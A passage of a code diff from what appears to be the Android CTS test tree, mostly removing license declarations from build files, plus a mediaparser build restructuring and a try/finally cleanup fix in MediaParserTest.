name: "libctshardware_jni",
cflags: ["-Werror"],
diff --git a/tests/tests/icu/Android.bp b/tests/tests/icu/Android.bp
index c67c3c1..df1f6d0 100644
--- a/tests/tests/icu/Android.bp
+++ b/tests/tests/icu/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsIcuTestCases",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/icu/icu4c_testapp/Android.bp b/tests/tests/icu/icu4c_testapp/Android.bp
index 30fa910..e0a8825 100644
--- a/tests/tests/icu/icu4c_testapp/Android.bp
+++ b/tests/tests/icu/icu4c_testapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsIcu4cTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/identity/Android.bp b/tests/tests/identity/Android.bp
index 01e9914..203f578 100644
--- a/tests/tests/identity/Android.bp
+++ b/tests/tests/identity/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsIdentityTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/instantapp/Android.bp b/tests/tests/instantapp/Android.bp
index 9f4da5b..62bc24f 100644
--- a/tests/tests/instantapp/Android.bp
+++ b/tests/tests/instantapp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsInstantAppTests",
srcs: [ "src/**/*.kt" ],
diff --git a/tests/tests/jni/Android.bp b/tests/tests/jni/Android.bp
index ddb21ce..5895cf3 100644
--- a/tests/tests/jni/Android.bp
+++ b/tests/tests/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsJniTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/jni/libjnicommon/Android.bp b/tests/tests/jni/libjnicommon/Android.bp
index 3d22453..15756f6 100644
--- a/tests/tests/jni/libjnicommon/Android.bp
+++ b/tests/tests/jni/libjnicommon/Android.bp
@@ -16,10 +16,6 @@
// This is the shared library included by the JNI test app.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libjnicommon",
srcs: ["common.cpp"],
diff --git a/tests/tests/jni/libjnitest/Android.bp b/tests/tests/jni/libjnitest/Android.bp
index de15f35..d7206c4 100644
--- a/tests/tests/jni/libjnitest/Android.bp
+++ b/tests/tests/jni/libjnitest/Android.bp
@@ -16,10 +16,6 @@
// This is the shared library included by the JNI test app.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libjnitest",
srcs: [
diff --git a/tests/tests/jvmti/attaching/Android.bp b/tests/tests/jvmti/attaching/Android.bp
index 2a6ce03..eb7f31f 100644
--- a/tests/tests/jvmti/attaching/Android.bp
+++ b/tests/tests/jvmti/attaching/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsJvmtiAttachingTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/jvmti/attaching/jni/Android.bp b/tests/tests/jvmti/attaching/jni/Android.bp
index 6e02fe5..5e84b2c 100644
--- a/tests/tests/jvmti/attaching/jni/Android.bp
+++ b/tests/tests/jvmti/attaching/jni/Android.bp
@@ -16,10 +16,6 @@
// This is the shared library included by the JNI test app.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libjvmtiattachingtestagent1",
gtest: false,
diff --git a/tests/tests/keystore/Android.bp b/tests/tests/keystore/Android.bp
index 5becfec..0fa7cf7 100644
--- a/tests/tests/keystore/Android.bp
+++ b/tests/tests/keystore/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-keystore-user-auth-helper-library",
diff --git a/tests/tests/libcoreapievolution/Android.bp b/tests/tests/libcoreapievolution/Android.bp
index 1e41643..8cecd94 100644
--- a/tests/tests/libcoreapievolution/Android.bp
+++ b/tests/tests/libcoreapievolution/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLibcoreApiEvolutionTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/libcorefileio/Android.bp b/tests/tests/libcorefileio/Android.bp
index 7d1e7f4..e910c2f 100644
--- a/tests/tests/libcorefileio/Android.bp
+++ b/tests/tests/libcorefileio/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLibcoreFileIOTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/libcorelegacy22/Android.bp b/tests/tests/libcorelegacy22/Android.bp
index 351206e..eb64d08 100644
--- a/tests/tests/libcorelegacy22/Android.bp
+++ b/tests/tests/libcorelegacy22/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLibcoreLegacy22TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/libnativehelper/Android.bp b/tests/tests/libnativehelper/Android.bp
index 9705db0..ba75d50 100644
--- a/tests/tests/libnativehelper/Android.bp
+++ b/tests/tests/libnativehelper/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLibnativehelperTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/libnativehelper/jni/Android.bp b/tests/tests/libnativehelper/jni/Android.bp
index 36c4331..441a8d1 100644
--- a/tests/tests/libnativehelper/jni/Android.bp
+++ b/tests/tests/libnativehelper/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libnativehelper_test_jni",
cflags: [
@@ -37,4 +33,4 @@
static_libs: ["libgmock_ndk"],
whole_static_libs: ["libnativetesthelper_jni"],
tidy: true,
-}
+}
\ No newline at end of file
diff --git a/tests/tests/libthermalndk/Android.bp b/tests/tests/libthermalndk/Android.bp
index c014942..ba58f2d 100644
--- a/tests/tests/libthermalndk/Android.bp
+++ b/tests/tests/libthermalndk/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsThermalTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/libthermalndk/jni/Android.bp b/tests/tests/libthermalndk/jni/Android.bp
index 20e4d2c..0990304 100644
--- a/tests/tests/libthermalndk/jni/Android.bp
+++ b/tests/tests/libthermalndk/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsthermal_jni",
srcs: [
diff --git a/tests/tests/match_flags/Android.bp b/tests/tests/match_flags/Android.bp
index 5411ad4..4a40784 100644
--- a/tests/tests/match_flags/Android.bp
+++ b/tests/tests/match_flags/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsMatchFlagTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/match_flags/app/a/Android.bp b/tests/tests/match_flags/app/a/Android.bp
index 1f084cb..8513fad 100644
--- a/tests/tests/match_flags/app/a/Android.bp
+++ b/tests/tests/match_flags/app/a/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMatchFlagsUniqueAndSharedUri",
manifest: "AndroidManifest.xml",
@@ -27,4 +23,4 @@
"general-tests",
],
sdk_version: "test_current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/match_flags/app/b/Android.bp b/tests/tests/match_flags/app/b/Android.bp
index 6124641..868fa34 100644
--- a/tests/tests/match_flags/app/b/Android.bp
+++ b/tests/tests/match_flags/app/b/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMatchFlagsSharedUri",
manifest: "AndroidManifest.xml",
@@ -27,4 +23,4 @@
"general-tests",
],
sdk_version: "test_current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index ce6ff06..f0b6e13 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -12,17 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-CC-BY
- // legacy_unencumbered
- default_applicable_licenses: ["cts_license"],
-}
-
java_library {
name: "ctsmediautil",
srcs: [
@@ -88,7 +77,7 @@
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "29",
diff --git a/tests/tests/media/libaudiojni/Android.bp b/tests/tests/media/libaudiojni/Android.bp
index 0fc6126..f77d529 100644
--- a/tests/tests/media/libaudiojni/Android.bp
+++ b/tests/tests/media/libaudiojni/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libaudio_jni",
srcs: [
diff --git a/tests/tests/media/libimagereaderjni/Android.bp b/tests/tests/media/libimagereaderjni/Android.bp
index d97c511..b799241 100644
--- a/tests/tests/media/libimagereaderjni/Android.bp
+++ b/tests/tests/media/libimagereaderjni/Android.bp
@@ -14,10 +14,6 @@
// Build the unit tests.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsimagereader_jni",
srcs: ["AImageReaderCts.cpp"],
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
index 61a4359..847a21c 100644
--- a/tests/tests/media/libmediandkjni/Android.bp
+++ b/tests/tests/media/libmediandkjni/Android.bp
@@ -16,16 +16,6 @@
//------------------------------------------------------------------------------
// Builds libctscodecutils_jni.so
//
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // legacy_unencumbered
- default_applicable_licenses: ["cts_license"],
-}
-
cc_test_library {
name: "libctscodecutils_jni",
srcs: [
diff --git a/tests/tests/media/libndkaudio/Android.bp b/tests/tests/media/libndkaudio/Android.bp
index 08552d1..7af57af 100644
--- a/tests/tests/media/libndkaudio/Android.bp
+++ b/tests/tests/media/libndkaudio/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libndkaudioLib",
include_dirs: [
diff --git a/tests/tests/mediaparser/Android.bp b/tests/tests/mediaparser/Android.bp
index 48cf8896..8f5921c 100644
--- a/tests/tests/mediaparser/Android.bp
+++ b/tests/tests/mediaparser/Android.bp
@@ -12,30 +12,36 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsMediaParserTestCases",
- defaults: ["cts_defaults"],
+ defaults: ["CtsMediaParserTestCasesDefaults", "cts_defaults"],
+ min_sdk_version: "29",
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+}
+
+// App for host-side testing of the MediaParser integration with MediaMetrics.
+android_test_helper_app {
+ name: "CtsMediaParserTestCasesApp",
+ defaults: ["CtsMediaParserTestCasesDefaults"],
+}
+
+java_defaults {
+ name: "CtsMediaParserTestCasesDefaults",
+ srcs: ["src/**/*.java"],
static_libs: [
"ctstestrunner-axt",
"androidx.test.ext.junit",
"exoplayer2-extractor-test-utils",
"exoplayer2-extractor-tests-assets",
],
- srcs: ["src/**/*.java"],
- sdk_version: "test_current",
- min_sdk_version: "29",
libs: [
"android.test.base",
"android.test.runner",
],
+ sdk_version: "test_current",
- test_suites: [
- "cts",
- "general-tests",
- "mts",
- ],
}
diff --git a/tests/tests/mediaparser/TEST_MAPPING b/tests/tests/mediaparser/TEST_MAPPING
index ec2d2e2..3d21914 100644
--- a/tests/tests/mediaparser/TEST_MAPPING
+++ b/tests/tests/mediaparser/TEST_MAPPING
@@ -2,6 +2,9 @@
"presubmit": [
{
"name": "CtsMediaParserTestCases"
+ },
+ {
+ "name": "CtsMediaParserHostTestCases"
}
]
}
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
index 40ddad9..145ac99 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
@@ -673,42 +673,44 @@
mediaParser.setParameter(entry.getKey(), entry.getValue());
}
- mediaParser.advance(inputReader);
- if (expectedParserName != null) {
- assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
- // We are only checking that the extractor is the right one.
- mediaParser.release();
- return;
- }
+ try {
+ mediaParser.advance(inputReader);
+ if (expectedParserName != null) {
+ assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
+ // We are only checking that the extractor is the right one.
+ return;
+ }
- while (mediaParser.advance(inputReader)) {
- // Do nothing.
- }
+ while (mediaParser.advance(inputReader)) {
+ // Do nothing.
+ }
- // If the SeekMap is seekable, test seeking in the stream.
- MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
- assertThat(seekMap).isNotNull();
- if (seekMap.isSeekable()) {
- long durationUs = seekMap.getDurationMicros();
- for (int j = 0; j < 4; j++) {
- outputConsumer.clearTrackOutputs();
- long timeUs =
- durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
- ? 0
- : (durationUs * j) / 3;
- MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
- inputReader.reset();
- inputReader.setPosition((int) seekPoint.position);
- mediaParser.seek(seekPoint);
- while (mediaParser.advance(inputReader)) {
- // Do nothing.
- }
- if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
- break;
+ // If the SeekMap is seekable, test seeking in the stream.
+ MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
+ assertThat(seekMap).isNotNull();
+ if (seekMap.isSeekable()) {
+ long durationUs = seekMap.getDurationMicros();
+ for (int j = 0; j < 4; j++) {
+ outputConsumer.clearTrackOutputs();
+ long timeUs =
+ durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
+ ? 0
+ : (durationUs * j) / 3;
+ MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
+ inputReader.reset();
+ inputReader.setPosition((int) seekPoint.position);
+ mediaParser.seek(seekPoint);
+ while (mediaParser.advance(inputReader)) {
+ // Do nothing.
+ }
+ if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
+ break;
+ }
}
}
+ } finally {
+ mediaParser.release();
}
- mediaParser.release();
}
private static MockMediaParserInputReader getInputReader(String assetPath) throws IOException {
diff --git a/tests/tests/mediastress/Android.bp b/tests/tests/mediastress/Android.bp
index 9977c084..69321f3 100644
--- a/tests/tests/mediastress/Android.bp
+++ b/tests/tests/mediastress/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsMediaStressTestCases",
defaults: ["cts_defaults"],
@@ -23,7 +19,7 @@
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-media",
],
// Include both the 32 and 64 bit versions
compile_multilib: "both",
diff --git a/tests/tests/mediastress/jni/Android.bp b/tests/tests/mediastress/jni/Android.bp
index 400ddd82..192746e 100644
--- a/tests/tests/mediastress/jni/Android.bp
+++ b/tests/tests/mediastress/jni/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libctsmediastress_jni",
srcs: ["native-media-jni.cpp"],
diff --git a/tests/tests/midi/Android.bp b/tests/tests/midi/Android.bp
index b2e437f..fa9105e 100644
--- a/tests/tests/midi/Android.bp
+++ b/tests/tests/midi/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsMidiTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/mimemap/Android.bp b/tests/tests/mimemap/Android.bp
index 9622bd1..4306164 100644
--- a/tests/tests/mimemap/Android.bp
+++ b/tests/tests/mimemap/Android.bp
@@ -14,10 +14,6 @@
// Verifies the default MIME mapping as exposed by
// @CorePlatformApi libcore.content.type.MimeMap.getDefault()
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsMimeMapTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/multiuser/Android.bp b/tests/tests/multiuser/Android.bp
index c930a43..99adf1c 100644
--- a/tests/tests/multiuser/Android.bp
+++ b/tests/tests/multiuser/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsMultiUserTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/nativehardware/Android.bp b/tests/tests/nativehardware/Android.bp
index 5f0120b..d8f1e90 100644
--- a/tests/tests/nativehardware/Android.bp
+++ b/tests/tests/nativehardware/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNativeHardwareTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/nativehardware/jni/Android.bp b/tests/tests/nativehardware/jni/Android.bp
index 8ad2b05..16a1d0e 100644
--- a/tests/tests/nativehardware/jni/Android.bp
+++ b/tests/tests/nativehardware/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libahardwarebuffertest",
compile_multilib: "both",
diff --git a/tests/tests/nativemedia/aaudio/jni/Android.mk b/tests/tests/nativemedia/aaudio/jni/Android.mk
index 2f11b9e..361245e 100644
--- a/tests/tests/nativemedia/aaudio/jni/Android.mk
+++ b/tests/tests/nativemedia/aaudio/jni/Android.mk
@@ -18,8 +18,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := libnativeaaudiotest
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MULTILIB := both
LOCAL_SRC_FILES := \
diff --git a/tests/tests/nativemedia/mediametrics/Android.bp b/tests/tests/nativemedia/mediametrics/Android.bp
index 8bfb983..11be644 100644
--- a/tests/tests/nativemedia/mediametrics/Android.bp
+++ b/tests/tests/nativemedia/mediametrics/Android.bp
@@ -14,10 +14,6 @@
// Build the unit tests.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CtsNativeMediaMetricsTestCases",
diff --git a/tests/tests/nativemedia/sl/Android.mk b/tests/tests/nativemedia/sl/Android.mk
index a3968a1..0844d0c 100644
--- a/tests/tests/nativemedia/sl/Android.mk
+++ b/tests/tests/nativemedia/sl/Android.mk
@@ -18,8 +18,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := CtsNativeMediaSlTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/nativemedia/xa/Android.mk b/tests/tests/nativemedia/xa/Android.mk
index 8abfc7f..c9dec22 100644
--- a/tests/tests/nativemedia/xa/Android.mk
+++ b/tests/tests/nativemedia/xa/Android.mk
@@ -18,8 +18,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE:= CtsNativeMediaXaTestCases
-LOCAL_LICENSE_KINDS:= SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS:= notice
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/nativemidi/jni/Android.mk b/tests/tests/nativemidi/jni/Android.mk
index 52f889b..bb62dec 100644
--- a/tests/tests/nativemidi/jni/Android.mk
+++ b/tests/tests/nativemidi/jni/Android.mk
@@ -18,8 +18,6 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE := libnativemidi_jni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MULTILIB := both
LOCAL_SRC_FILES := native-lib.cpp
diff --git a/tests/tests/ndef/Android.bp b/tests/tests/ndef/Android.bp
index d5cf44c..8a58309 100644
--- a/tests/tests/ndef/Android.bp
+++ b/tests/tests/ndef/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNdefTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/netpermission/internetpermission/Android.bp b/tests/tests/netpermission/internetpermission/Android.bp
index 37ad7cb..196c2bb 100644
--- a/tests/tests/netpermission/internetpermission/Android.bp
+++ b/tests/tests/netpermission/internetpermission/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetTestCasesInternetPermission",
defaults: ["cts_defaults"],
diff --git a/tests/tests/netpermission/updatestatspermission/Android.bp b/tests/tests/netpermission/updatestatspermission/Android.bp
index 7a24886..bc4f4de 100644
--- a/tests/tests/netpermission/updatestatspermission/Android.bp
+++ b/tests/tests/netpermission/updatestatspermission/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetTestCasesUpdateStatsPermission",
defaults: ["cts_defaults"],
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
index 2d964fa..b6aa133 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecPolicyUsesCleartextTrafficFalseTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
index 7197699..8386fec 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecPolicyUsesCleartextTrafficTrueTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
index 68af3d0..da1d9b9 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/Android.bp b/tests/tests/networksecurityconfig/Android.bp
index c22e16d..deaa4b0 100644
--- a/tests/tests/networksecurityconfig/Android.bp
+++ b/tests/tests/networksecurityconfig/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "tests-tests-networksecurityconfig-lib",
srcs: ["src/**/*.java"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
index cccde10..356a02f 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecConfigAttributeTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
index 0672c5b..83c2d44 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecConfigBasicDomainConfigTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
index e8b5a4d..a684e69 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecConfigPrePCleartextTrafficTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
index 88976ca..c72adb0 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecConfigCleartextTrafficTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
index 64f4538..7eb9401 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecConfigBasicDebugDisabledTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
index 8a092cd..4ae4b5b 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecConfigBasicDebugEnabledTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
index 29c0d21..a0841a3 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
